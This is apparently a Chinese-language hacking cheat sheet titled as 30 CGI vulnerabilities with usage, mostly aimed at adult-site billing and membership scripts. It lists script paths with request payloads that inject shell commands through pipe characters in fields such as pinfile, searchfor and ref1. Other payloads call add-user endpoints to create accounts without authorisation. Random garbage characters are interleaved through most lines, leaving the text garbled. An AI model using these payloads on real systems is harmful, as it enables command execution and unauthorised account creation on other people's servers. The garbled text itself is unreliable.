Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
" Q, ]' q6 j: [4 c' p, }4 ousername=username&password=password

8 j# B: k) j& A  y& j8 ^" Y/index.cgi
3 i7 O# U- g+ lwei=ren&gen=command
6 x; V: ^! I) v/ l4 k7 J- T
/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
8 V7 P9 }, p0 C
; a$ @% h+ Q( l2 X7 U/ `" F* N' Z0 k/form.cgi
; @( q( d5 t) Vname=xxxx&email=email&subject=xxxx&response=|echo;ls|
. R7 j/ p/ W# M! q- m# H* Q. d
4 h8 ]; `* k; H( G# F, L8 }0 k/addusr.pl
0 n! V9 E# |: w+ h" Q/cgi-bin/EuroDebit/addusr.pl
9 [  |4 j* U) N" u" ^* Auser=username&pass=Password&confirm=Password

/ccbill-local.asp
! A7 P3 S" B+ a7 O) r) v; y5 opost_values=username:password
. o# g* a7 q: P% p, S: C
% R6 k- m1 F6 [2 s/count.cgi
  X' L: B: t% v; C' r, lpinfile=|echo;ls -la;exit|

/recon.cgi
' I" J8 Q, G( g. K& _9 M' G4 z/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

& @+ c! a- l" z+ D( l2 M. u9 O/verotelrum.pl
  i. ?0 U( u2 i9 ?! i; I: \vercode=username:password:dseegsow:add:amount<&30>
8 ~, s5 c/ A5 R' b
' K7 l3 F# ?9 z3 a) d/af.cgi
8 n* w8 ]9 ~" ~$ l$ _6 k* {_browser_out=|echo;ls -la;exit;|
& q% @4 `: }% P. _& t# G* D
; E# _  W* [5 O5 |7 }: f: U/modify.cgi
8 T9 L& @6 _. ^) musername=username&password=password&expire=30

) O6 U& c8 D( k% X8 u& T/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
2 Y2 }3 m: j! S# R' @) k; M( g
/probecontrol.cgi
command=enable&username=username&password=password

# b/ A+ P# G+ a. L, {/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

. H: s' i/ f0 L" n4 _! M/ n/htadd.pl
configfile=|echo; ls -alt; exit
# M* T! _# V7 j. b2 v3 o: ~$ _% L
' n  R' K% N6 q" M/gx9passwd.cgi
0 E9 ?5 [& a4 wcmd=ADD&user=username&pass=password
( `+ o2 A! M- o5 w9 U* N
  }+ X' B8 K$ I& n% s+ c7 _/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
* C' u3 l" x" D" s( M
  |' c6 H) K" Q3 u$ F. p/cpay.cgi
2 V# o' x0 L3 @6 N) ccommand=add_member&username=username(EMAIL)&password=password(DES)
7 V! P- S1 h0 r0 s5 \. x
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

$ J) Y/ `! H0 n' x4 s' f" D$ ?+ c/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
+ g8 j" Q1 N  K% |& n, {$ b
, L( [: z- H/ ^4 h9 ]' f* ]+ ?; A/addusr.pl
# E" s7 l- Q+ Y6 m9 auser=USER&pass=PASS&confirm=PASS
; i. L# o: F( N0 L
/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
4 Y3 w% |- A( T0 c1 {, Y6 Rpinfile=|echo;pwd;exit|
+ I# C2 d+ [4 N; q5 f" l! ?
& }3 }* N, ]5 V. W/accountcreate.cgi
8 o+ E9 ?' O/ ?* N/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
( C! W" f$ k/ @& t. D
3 V  A+ Q0 h1 o9 q/af.cgi
/env.cgi
+ r% u9 m1 |0 n9 q2 r& A  ZADD+;echo;pwd;exit

! B7 V: C5 T5 L  U8 _/count.cgi
pinfile=|echo;pwd;exit|
* c% ~3 _2 z+ B  z" Q2 b
6 t4 M1 w4 x. D; x9 f# u/recon.cgi
' [# u& U  K) j, ?/ |: ]+ q- hsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

% W& M- u; k& i+ U  k1 y! L==============================
3 J5 X; z. A; b5 K0 O